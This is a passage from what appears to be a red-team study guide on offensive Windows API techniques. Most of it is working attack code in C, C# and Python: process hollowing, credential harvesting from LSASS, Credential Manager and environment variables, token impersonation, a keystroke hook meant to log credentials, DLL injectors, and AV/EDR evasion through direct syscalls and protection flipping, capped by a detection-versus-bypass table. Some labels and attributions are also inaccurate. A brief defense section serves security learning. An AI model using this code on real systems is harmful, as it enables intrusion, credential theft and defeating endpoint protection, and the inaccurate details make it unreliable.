(IMAGE_NT_HEADERS*)(lpPayloadData + pDosHeader->e_lfanew);
DWORD dwImageBase = pNtHeaders->OptionalHeader.ImageBase;
DWORD dwImageSize = pNtHeaders->OptionalHeader.SizeOfImage;
DWORD dwEntryPoint = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
printf("Payload ImageBase: 0x%x, Size: 0x%x, EntryPoint: 0x%x\n",
dwImageBase, dwImageSize, dwEntryPoint);
// Unmap target process image
NTSTATUS status = NtUnmapViewOfSection(pi.hProcess, (PVOID)dwImageBase);
if (!NT_SUCCESS(status)) {
printf("NtUnmapViewOfSection failed: 0x%x\n", status);
return 1;
}
printf("Target process image unmapped\n");
// Allocate memory at payload image base
LPVOID lpRemoteImage = VirtualAllocEx(
pi.hProcess,
(LPVOID)dwImageBase,
dwImageSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (lpRemoteImage == NULL) {
printf("VirtualAllocEx failed: %d\n", GetLastError());
return 1;
}
printf("Memory allocated at 0x%p\n", lpRemoteImage);
// Write payload to target process
if (!WriteProcessMemory(pi.hProcess, lpRemoteImage, lpPayloadData, dwPayloadSize, NULL)) {
printf("WriteProcessMemory failed: %d\n", GetLastError());
return 1;
}
printf("Payload written to target process\n");
// Update thread context to point to new entry point
ctx.Rcx = (DWORD64)dwImageBase + dwEntryPoint; // x64
// OR for x86: ctx.Eax = dwImageBase + dwEntryPoint;
if (!SetThreadContext(pi.hThread, &ctx)) {
printf("SetThreadContext failed: %d\n", GetLastError());
return 1;
}
printf("Thread context updated, entry point: 0x%llx\n", ctx.Rcx);
// Resume thread
ResumeThread(pi.hThread);
printf("Thread resumed, payload executing...\n");
// Wait for process to complete
WaitForSingleObject(pi.hProcess, INFINITE);
// Cleanup
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
free(lpPayloadData);
return 0;
}
Why Process Hollowing is Effective:
- No obvious "child process" relationship (parent != grandparent)
- Legitimate process name in process list
- No DLL loaded from unusual paths
- Entry point redirection is hard to detect without kernel inspection
- Bypasses many endpoint detection rules
9. Credential Harvesting APIs
9.1 LSADumpSecrets / SecretManager
Purpose: Extract stored credentials from LSASS (Local Security Authority Subsystem Service)
// Note: This requires SeDebugPrivilege and typically SYSTEM context
// Typically done via Mimikatz or custom tools
// Manual approach using WinAPI:
// 1. Get SeDebugPrivilege
HANDLE hToken = NULL;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LUID luid = {0};
LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luid);
TOKEN_PRIVILEGES tp = {0};
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
// 2. Open LSASS process
HANDLE hLsass = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, dwLsassPid);
// 3. Read LSASS memory to extract credentials
// (Complex reverse engineering required to find credential structures)
CloseHandle(hToken);
9.2 CredEnumerateA / CredReadA
Purpose: Retrieve stored credentials from Windows Credential Manager
#include <Windows.h>
#include <wincred.h>
#pragma comment(lib, "credui.lib")
int main() {
DWORD dwCount = 0;
PCREDENTIAL* ppCredentials = NULL;
// Enumerate stored credentials
if (!CredEnumerateA(NULL, 0, &dwCount, &ppCredentials)) {
printf("CredEnumerateA failed: %d\n", GetLastError());
return 1;
}
printf("Found %d stored credentials\n", dwCount);
for (DWORD i = 0; i < dwCount; i++) {
PCREDENTIAL pCred = ppCredentials[i];
printf("\nTarget: %s\n", pCred->TargetName);
printf("Type: %d\n", pCred->Type);
printf("Username: %s\n", pCred->UserName);
// CredentialBlobSize contains password length
if (pCred->CredentialBlob) {
printf("Password: %.*s\n", pCred->CredentialBlobSize,
(char*)pCred->CredentialBlob);
}
}
// Cleanup
CredFree(ppCredentials);
return 0;
}
Compile: cl /link credui.lib credentials.c
9.3 GetProcessEnv / ReadProcessMemory for Credential Extraction
Purpose: Extract credentials from process memory (cached data, environment variables, registry)
// Extract credentials from environment variables
LPSTR lpEnv = GetEnvironmentStrings();
LPSTR lpVar = lpEnv;
while (*lpVar) {
printf("%s\n", lpVar);
// Look for password-related env vars
if (strstr(lpVar, "PASSWORD") || strstr(lpVar, "TOKEN") || strstr(lpVar, "SECRET")) {
printf(" ^^^ FOUND CREDENTIAL!\n");
}
lpVar += strlen(lpVar) + 1;
}
FreeEnvironmentStrings(lpEnv);
// Read targeted process environment
HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, dwTargetPid);
// ... enumerate PEB and read environment block
10. Privilege Escalation APIs
10.1 TokenImpersonation / Potato Attacks
Purpose: Escalate from lower privilege to SYSTEM via impersonation
// Simplified JuicyPotato concept:
// 1. Listen on COM port as SYSTEM
// 2. Trigger SYSTEM to connect and authenticate
// 3. Steal SYSTEM token
// 4. Impersonate SYSTEM
HANDLE hToken = NULL;
HANDLE hProcessToken = NULL;
// Get impersonation token from accepting incoming connection from SYSTEM
// (This requires COM marshalling and authentication negotiation)
// Once SYSTEM token obtained:
if (ImpersonateLoggedOnUser(hToken)) {
printf("Impersonating SYSTEM\n");
// Execute privileged operations
WinExec("cmd.exe /c whoami", SW_SHOW);
RevertToSelf();
}
10.2 Token Duplication / Parent PID Spoofing
Purpose: Inherit elevated token from parent process
// GetCurrentProcessToken
HANDLE hToken = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE, &hToken)) {
printf("OpenProcessToken failed\n");
return 1;
}
// Duplicate token to primary token
HANDLE hDuplicatedToken = NULL;
if (!DuplicateTokenEx(
hToken, // Source token
TOKEN_ALL_ACCESS, // Desired access
NULL, // Security attributes
SecurityImpersonation, // Impersonation level
TokenPrimary, // Token type (Primary for process creation)
&hDuplicatedToken // Output token
)) {
printf("DuplicateTokenEx failed: %d\n", GetLastError());
return 1;
}
// Create process with duplicated (potentially elevated) token
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
if (!CreateProcessAsUserA(
hDuplicatedToken, // Token to use
"cmd.exe", // Application
NULL, // Command line
NULL, // Process security
NULL, // Thread security
FALSE, // Inherit handles
CREATE_NEW_CONSOLE, // Creation flags
NULL, // Environment
NULL, // Current directory
&si, // Startup info
&pi // Process info
)) {
printf("CreateProcessAsUserA failed: %d\n", GetLastError());
}
printf("Process created with token: %d\n", pi.dwProcessId);
CloseHandle(hDuplicatedToken);
CloseHandle(hToken);
11. Hooking & Interception APIs
11.1 SetWindowsHookEx
Purpose: Install global hook to intercept events (keyboard, mouse, messages)
#include <Windows.h>
// Hook callback function
LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode < 0) {
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
if (wParam == WM_KEYDOWN) {
KBDLLHOOKSTRUCT* pKeyboard = (KBDLLHOOKSTRUCT*)lParam;
printf("Key pressed: vkCode=%d\n", pKeyboard->vkCode);
// Log credentials as user types
// (Advanced: integrate with registry/memory search)
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// Install hook
HHOOK hHook = SetWindowsHookEx(
WH_KEYBOARD_LL, // Hook type (keyboard)
KeyboardHookProc, // Hook callback
GetModuleHandleA(NULL), // Module (DLL) containing hook
0 // Thread ID (0 = all threads)
);
if (hHook == NULL) {
printf("SetWindowsHookEx failed: %d\n", GetLastError());
}
// Message loop (required for hook to work)
MSG msg = {0};
while (GetMessageA(&msg, NULL, 0, 0) > 0) {
TranslateMessage(&msg);
DispatchMessageA(&msg);
}
// Remove hook
UnhookWindowsHookEx(hHook);
11.2 SetWindowLongPtr / Subclassing
Purpose: Replace window procedure to intercept messages
// Original window procedure
WNDPROC lpfnOldWndProc = NULL;
// New window procedure (hook)
LRESULT CALLBACK NewWindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
switch (uMsg) {
case WM_KEYDOWN:
printf("Key: %d\n", wParam);
break;
case WM_CLOSE:
printf("Window closing\n");
break;
}
// Call original window procedure
return CallWindowProcA(lpfnOldWndProc, hwnd, uMsg, wParam, lParam);
}
// Install hook
lpfnOldWndProc = (WNDPROC)SetWindowLongPtrA(
hwnd, // Window handle
GWLP_WNDPROC, // Window procedure
(LONG_PTR)NewWindowProc // New procedure
);
12. Red Team Evasion via API
12.1 Bypassing AV/EDR via Native APIs
Technique: Use ntdll.dll directly instead of kernel32.dll
// Instead of:
// CreateProcessA(...);
// Use native syscall:
typedef NTSTATUS (NTAPI *pNtCreateProcess)(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
HANDLE ParentProcess,
BOOLEAN InheritObjectTable,
HANDLE SectionHandle,
HANDLE DebugPort,
HANDLE ExceptionPort
);
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtCreateProcess NtCreateProcess =
(pNtCreateProcess)GetProcAddress(hNtdll, "NtCreateProcess");
NTSTATUS status = NtCreateProcess(
&hProcess,
PROCESS_ALL_ACCESS,
NULL,
GetCurrentProcess(),
FALSE,
NULL,
NULL,
NULL
);
// Advantages:
// - Bypasses Kernel32.dll hooks (set by EDR)
// - Direct syscall, harder to intercept
// - Less logging
12.2 Indirect Syscalls / Syscall Obfuscation
// Get Ntdll syscall numbers dynamically
// instead of hardcoding them
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtOpenProcess NtOpenProcess =
(pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess");
// Or use function pointer and execute
asm {
mov rax, [rcx] // Syscall number
syscall
};
12.3 Memory Protection Evasion
// Allocate memory with PAGE_NOACCESS initially
LPVOID lpMem = VirtualAllocEx(
hProcess,
NULL,
4096,
MEM_COMMIT | MEM_RESERVE,
PAGE_NOACCESS // No access initially
);
// Write to memory anyway (may bypass some checks)
WriteProcessMemory(hProcess, lpMem, shellcode, sizeof(shellcode), NULL);
// Then change protection
DWORD dwOldProtect = 0;
VirtualProtectEx(
hProcess,
lpMem,
4096,
PAGE_EXECUTE_READWRITE, // Now executable
&dwOldProtect
);
// Execute
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, NULL, 0, NULL);
// Change back to PAGE_NOACCESS after execution (cover tracks)
VirtualProtectEx(hProcess, lpMem, 4096, PAGE_NOACCESS, &dwOldProtect);
13. C# & P/Invoke for API Calls
13.1 Basic P/Invoke Syntax
using System;
using System.Runtime.InteropServices;
class WinAPI {
// Declare Windows API functions
[DllImport("kernel32.dll", SetLastError = true)]
public static extern HANDLE OpenProcess(
uint dwDesiredAccess,
bool bInheritHandle,
uint dwProcessId
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(
IntPtr hObject
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out UIntPtr lpNumberOfBytesWritten
);
// Constants
public const uint PROCESS_ALL_ACCESS = 0x1F0FFF;
public const uint MEM_COMMIT = 0x1000;
public const uint MEM_RESERVE = 0x2000;
public const uint PAGE_EXECUTE_READWRITE = 0x40;
static void Main() {
uint targetPid = 1234; // Target process ID
string dllPath = "C:\\malicious.dll";
// Open target process
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetPid);
if (hProcess == IntPtr.Zero) {
Console.WriteLine($"Failed to open process: {Marshal.GetLastWin32Error()}");
return;
}
// Allocate memory
IntPtr lpRemoteBuffer = VirtualAllocEx(
hProcess,
IntPtr.Zero,
(uint)dllPath.Length + 1,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (lpRemoteBuffer == IntPtr.Zero) {
Console.WriteLine($"VirtualAllocEx failed: {Marshal.GetLastWin32Error()}");
CloseHandle(hProcess);
return;
}
// Write DLL path
byte[] dllBytes = System.Text.Encoding.ASCII.GetBytes(dllPath);
UIntPtr bytesWritten;
if (!WriteProcessMemory(hProcess, lpRemoteBuffer, dllBytes, (uint)dllBytes.Length, out bytesWritten)) {
Console.WriteLine($"WriteProcessMemory failed: {Marshal.GetLastWin32Error()}");
}
Console.WriteLine($"Wrote {bytesWritten} bytes to target process");
CloseHandle(hProcess);
}
}
13.2 P/Invoke for Privilege Escalation
using System;
using System.Runtime.InteropServices;
class PrivEsc {
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
uint DesiredAccess,
out IntPtr TokenHandle
);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
out LUID lpLuid
);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
bool DisableAllPrivileges,
ref TOKEN_PRIVILEGES NewState,
uint BufferLength,
IntPtr PreviousState,
IntPtr ReturnLength
);
[StructLayout(LayoutKind.Sequential)]
public struct LUID {
public uint LowPart;
public int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
public struct TOKEN_PRIVILEGES {
public uint PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
public LUID_AND_ATTRIBUTES[] Privileges;
}
[StructLayout(LayoutKind.Sequential)]
public struct LUID_AND_ATTRIBUTES {
public LUID Luid;
public uint Attributes;
}
public const uint TOKEN_ADJUST_PRIVILEGES = 0x00000020;
public const uint TOKEN_QUERY = 0x00000008;
public const uint SE_PRIVILEGE_ENABLED = 0x00000002;
static void Main() {
IntPtr hToken = IntPtr.Zero;
// Get current process token
if (!OpenProcessToken(
System.Diagnostics.Process.GetCurrentProcess().Handle,
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
out hToken
)) {
Console.WriteLine($"OpenProcessToken failed: {Marshal.GetLastWin32Error()}");
return;
}
// Enable SeDebugPrivilege
LUID luid;
if (!LookupPrivilegeValue(null, "SeDebugPrivilege", out luid)) {
Console.WriteLine($"LookupPrivilegeValue failed: {Marshal.GetLastWin32Error()}");
return;
}
TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES();
tp.PrivilegeCount = 1;
tp.Privileges = new LUID_AND_ATTRIBUTES[1];
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero)) {
Console.WriteLine($"AdjustTokenPrivileges failed: {Marshal.GetLastWin32Error()}");
return;
}
Console.WriteLine("SeDebugPrivilege enabled!");
}
}
14. Python ctypes for Windows API
14.1 Basic ctypes Usage
import ctypes
import ctypes.wintypes as wintypes
from ctypes import windll, Structure, POINTER, sizeof, c_void_p, c_char_p
# Define Windows types
DWORD = ctypes.c_ulong
LPVOID = ctypes.c_void_p
HANDLE = ctypes.c_void_p
# Get kernel32 library
kernel32 = windll.kernel32
# Define OpenProcess signature
OpenProcess = kernel32.OpenProcess
OpenProcess.argtypes = [DWORD, wintypes.BOOL, DWORD]
OpenProcess.restype = HANDLE
# Constants
PROCESS_VM_READ = 0x0010
PROCESS_VM_WRITE = 0x0020
PROCESS_VM_OPERATION = 0x0008
PROCESS_ALL_ACCESS = 0x1F0FFF
# Call OpenProcess
target_pid = 1234
hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, target_pid)
if not hProcess:
print(f"Failed to open process: {ctypes.get_last_error()}")
else:
print(f"Process handle: {hProcess}")
14.2 DLL Injection in Python
import ctypes
import ctypes.wintypes as wintypes
from ctypes import windll, Structure, POINTER, sizeof, c_void_p
import sys
# Define structures
class PROCESS_INFORMATION(Structure):
_fields_ = [
("hProcess", ctypes.c_void_p),
("hThread", ctypes.c_void_p),
("dwProcessId", ctypes.c_ulong),
("dwThreadId", ctypes.c_ulong)
]
class STARTUPINFO(Structure):
_fields_ = [
("cb", ctypes.c_ulong),
("lpReserved", ctypes.c_char_p),
("lpDesktop", ctypes.c_char_p),
("lpTitle", ctypes.c_char_p),
("dwX", ctypes.c_ulong),
("dwY", ctypes.c_ulong),
("dwXSize", ctypes.c_ulong),
("dwYSize", ctypes.c_ulong),
("dwXCountChars", ctypes.c_ulong),
("dwYCountChars", ctypes.c_ulong),
("dwFillAttribute", ctypes.c_ulong),
("dwFlags", ctypes.c_ulong),
("wShowWindow", ctypes.c_ushort),
("cbReserved2", ctypes.c_ushort),
("lpReserved2", ctypes.c_char_p),
("hStdInput", ctypes.c_void_p),
("hStdOutput", ctypes.c_void_p),
("hStdError", ctypes.c_void_p)
]
# Get kernel32
kernel32 = windll.kernel32
advapi32 = windll.advapi32
# Define API functions
CreateProcessA = kernel32.CreateProcessA
CreateProcessA.argtypes = [ctypes.c_char_p, ctypes.c_char_p, ctypes.c_void_p,
ctypes.c_void_p, wintypes.BOOL, ctypes.c_ulong,
ctypes.c_void_p, ctypes.c_char_p, POINTER(STARTUPINFO),
POINTER(PROCESS_INFORMATION)]
CreateProcessA.restype = wintypes.BOOL
OpenProcess = kernel32.OpenProcess
OpenProcess.argtypes = [ctypes.c_ulong, wintypes.BOOL, ctypes.c_ulong]
OpenProcess.restype = ctypes.c_void_p
VirtualAllocEx = kernel32.VirtualAllocEx
VirtualAllocEx.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_ulong,
ctypes.c_ulong, ctypes.c_ulong]
VirtualAllocEx.restype = ctypes.c_void_p
WriteProcessMemory = kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_char_p,
ctypes.c_ulong, POINTER(ctypes.c_ulong)]
WriteProcessMemory.restype = wintypes.BOOL
CreateRemoteThread = kernel32.CreateRemoteThread
CreateRemoteThread.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_ulong,
ctypes.c_void_p, ctypes.c_void_p, ctypes.c_ulong,
POINTER(ctypes.c_ulong)]
CreateRemoteThread.restype = ctypes.c_void_p
GetProcAddress = kernel32.GetProcAddress
GetProcAddress.argtypes = [ctypes.c_void_p, ctypes.c_char_p]
GetProcAddress.restype = ctypes.c_void_p
GetModuleHandleA = kernel32.GetModuleHandleA
GetModuleHandleA.argtypes = [ctypes.c_char_p]
GetModuleHandleA.restype = ctypes.c_void_p
# Constants
PROCESS_ALL_ACCESS = 0x1F0FFF
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
CREATE_NO_WINDOW = 0x08000000
# Injection logic
def inject_dll(target_pid, dll_path):
print(f"[*] Injecting {dll_path} into PID {target_pid}")
# Open target process
hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, target_pid)
if not hProcess:
print(f"[-] Failed to open process: {ctypes.get_last_error()}")
return False
print(f"[+] Process opened: {hProcess}")
# Allocate memory
dll_path_bytes = dll_path.encode() + b'\x00'
lpRemoteBuffer = VirtualAllocEx(
hProcess, None, len(dll_path_bytes),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
)
if not lpRemoteBuffer:
print(f"[-] VirtualAllocEx failed: {ctypes.get_last_error()}")
kernel32.CloseHandle(hProcess)
return False
print(f"[+] Memory allocated: {lpRemoteBuffer}")
# Write DLL path
bytes_written = ctypes.c_ulong(0)
if not WriteProcessMemory(hProcess, lpRemoteBuffer, dll_path_bytes,
len(dll_path_bytes), ctypes.byref(bytes_written)):
print(f"[-] WriteProcessMemory failed: {ctypes.get_last_error()}")
kernel32.CloseHandle(hProcess)
return False
print(f"[+] Wrote {bytes_written.value} bytes")
# Get LoadLibraryA address
hKernel32 = GetModuleHandleA(b"kernel32.dll")
pLoadLibraryA = GetProcAddress(hKernel32, b"LoadLibraryA")
print(f"[+] LoadLibraryA: {pLoadLibraryA}")
# Create remote thread
hThread = CreateRemoteThread(
hProcess, None, 0, pLoadLibraryA, lpRemoteBuffer, 0, None
)
if not hThread:
print(f"[-] CreateRemoteThread failed: {ctypes.get_last_error()}")
kernel32.CloseHandle(hProcess)
return False
print(f"[+] Remote thread created: {hThread}")
kernel32.WaitForSingleObject(hThread, 0xFFFFFFFF) # INFINITE
print("[+] Injection complete!")
kernel32.CloseHandle(hThread)
kernel32.CloseHandle(hProcess)
return True
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <PID> <DLL_PATH>")
sys.exit(1)
target_pid = int(sys.argv[1])
dll_path = sys.argv[2]
inject_dll(target_pid, dll_path)
15. Detection & Defense
15.1 Detection Signatures
EDR/AV Detection Rules:
| Technique | Detection | Bypass |
|---|---|---|
| CreateRemoteThread | Hook kernel32!CreateRemoteThread, monitor PROCESS_VM_WRITE | Use NtCreateThreadEx |
| VirtualAllocEx + PAGE_EXECUTE_READWRITE | Monitor RWX allocations, suspicious patterns | Allocate PAGE_NOACCESS first, then VirtualProtectEx |
| WriteProcessMemory | Hook WriteProcessMemory, monitor cross-process writes | Use direct syscalls, write in chunks |
| Process Hollowing | Monitor NtUnmapViewOfSection, thread context changes | Use alternative methods, randomize timing |
| Token Manipulation | Monitor AdjustTokenPrivileges for SeDebugPrivilege | Use inherited tokens, timing obfuscation |
| Registry Persistence | Monitor HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | Use indirect methods, WMI, scheduled tasks |
15.2 Defense Best Practices
For System Defenders:
1. Code Integrity & Attestation
- Enable Code Integrity Guard (CIG)
- Enforce code signing
- Monitor unsigned binaries
2. Process Isolation
- Restrict OpenProcess calls (Debug privilege only)
- Enable Kernel-mode Code Integrity (KMCI)
- Require secure boot
3. Memory Protections
- Randomize heap layouts (ASLR)
- Enable DEP/NX bit
- Use Control Flow Guard (CFG)
4. Monitoring & Logging
- Enable Sysmon event logging
- Monitor OpenProcess calls with PROCESS_VM_WRITE
- Alert on CreateRemoteThread usage
- Track token impersonation
5. Privilege Management
- Use least privilege principle
- Remove SeDebugPrivilege from normal users
- Audit privilege elevation attempts
6. EDR Deployment
- Install userland hook-based EDR
- Monitor syscall patterns
- Analyze PE injection signatures
16. Cheat Sheet
Quick Reference — Common APIs
// Process Management
OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId)
CreateProcessA(lpAppName, lpCmdLine, ...)
GetCurrentProcess()
TerminateProcess(hProcess, uExitCode)
// Memory Operations
VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocType, flProtect)
VirtualFreeEx(hProcess, lpAddress, dwSize, dwFreeType)
WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, ...)
ReadProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, ...)
VirtualProtectEx(hProcess, lpAddress, dwSize, flNewProtect, ...)
// Thread Control
CreateRemoteThread(hProcess, lpAttrs, dwStackSize, lpStart, lpParam, ...)
GetThreadContext(hThread, lpContext)
SetThreadContext(hThread, lpContext)
SuspendThread(hThread)
ResumeThread(hThread)
// Token & Privileges
OpenProcessToken(hProcess, dwDesiredAccess, phToken)
AdjustTokenPrivileges(hToken, bDisableAll, pNewState, ...)
LookupPrivilegeValue(lpSystemName, lpName, pluid)
ImpersonateLoggedOnUser(hToken)
RevertToSelf()
// File Operations
CreateFileA(lpFileName, dwDesiredAccess, dwShareMode, ...)
ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, ...)
WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, ...)
CloseHandle(hObject)
// Registry Operations
RegOpenKeyExA(hKey, lpSubKey, ulOptions, samDesired, phkResult)
RegQueryValueExA(hKey, lpValueName, ..., lpData, lpcbData)
RegSetValueExA(hKey, lpValueName, Reserved, dwType, lpData, cbData)
RegCloseKey(hKey)
// Credential Management
CredEnumerateA(Filter, Flags, pCount, ppCredentials)
CredReadA(TargetName, Type, Flags, ppCredential)
GetUserNameA(lpBuffer, nSize)
Access Rights Quick Reference
PROCESS_TERMINATE = 0x0001 // Kill process
PROCESS_CREATE_THREAD = 0x0002 // Create threads
PROCESS_VM_OPERATION = 0x0008 // VirtualAllocEx/VirtualFreeEx
PROCESS_VM_READ = 0x0010 // ReadProcessMemory
PROCESS_VM_WRITE = 0x0020 // WriteProcessMemory
PROCESS_DUP_HANDLE = 0x0040 // Duplicate handles
PROCESS_CREATE_PROCESS = 0x0080 // Create child processes
PROCESS_SET_INFORMATION = 0x0200 // SetProcessInformation
PROCESS_QUERY_INFORMATION = 0x0400 // GetExitCodeProcess, etc
PROCESS_ALL_ACCESS = 0x1F0FFF // All of the above
Creation Flags
CREATE_NEW_CONSOLE = 0x00000010 // New console window
CREATE_NEW_PROCESS_GROUP = 0x00000200 // New process group
CREATE_SUSPENDED = 0x00000004 // Start suspended
CREATE_NO_WINDOW = 0x08000000 // No console window
DETACHED_PROCESS = 0x00000008 // Detached from parent
Memory Protection Flags
PAGE_NOACCESS = 0x01 // No access
PAGE_READONLY = 0x02 // Read-only
PAGE_READWRITE = 0x04 // Read/Write
PAGE_WRITECOPY = 0x08 // Copy-on-write
PAGE_EXECUTE = 0x10 // Execute only
PAGE_EXECUTE_READ = 0x20 // Execute + Read
PAGE_EXECUTE_READWRITE = 0x40 // Execute + Read + Write
PAGE_EXECUTE_WRITECOPY = 0x80 // Execute + Copy-on-write
Summary
The Windows API is the foundation of system-level operations on Windows. For red teamers preparing for CPTS and penetration testing, understanding process manipulation, memory operations, token abuse, and injection techniques is critical.
Key Takeaways:
- Process & Memory APIs enable code injection and process manipulation
- Token APIs allow privilege escalation and impersonation attacks
- Registry/File APIs facilitate persistence and credential theft
- Native syscalls (ntdll) bypass userland hooks
- P/Invoke (C#) and ctypes (Python) make API access accessible
- EDR/AV detection focuses on specific APIs — understand evasion techniques
- Always handle errors properly and close handles to avoid resource leaks
Good luck with your CPTS and red team training!
References:
- https://docs.microsoft.com/en-us/windows/win32/api/
- https://learn.microsoft.com/en-us/windows/win32/debug/
- https://github.com/gentilkiwi/mimikatz (practical examples)
- https://github.com/S3cur3Th1sSh1t/SharpHook (C# hooking examples)
- https://www.offensive-security.com/ (CPTS course materials)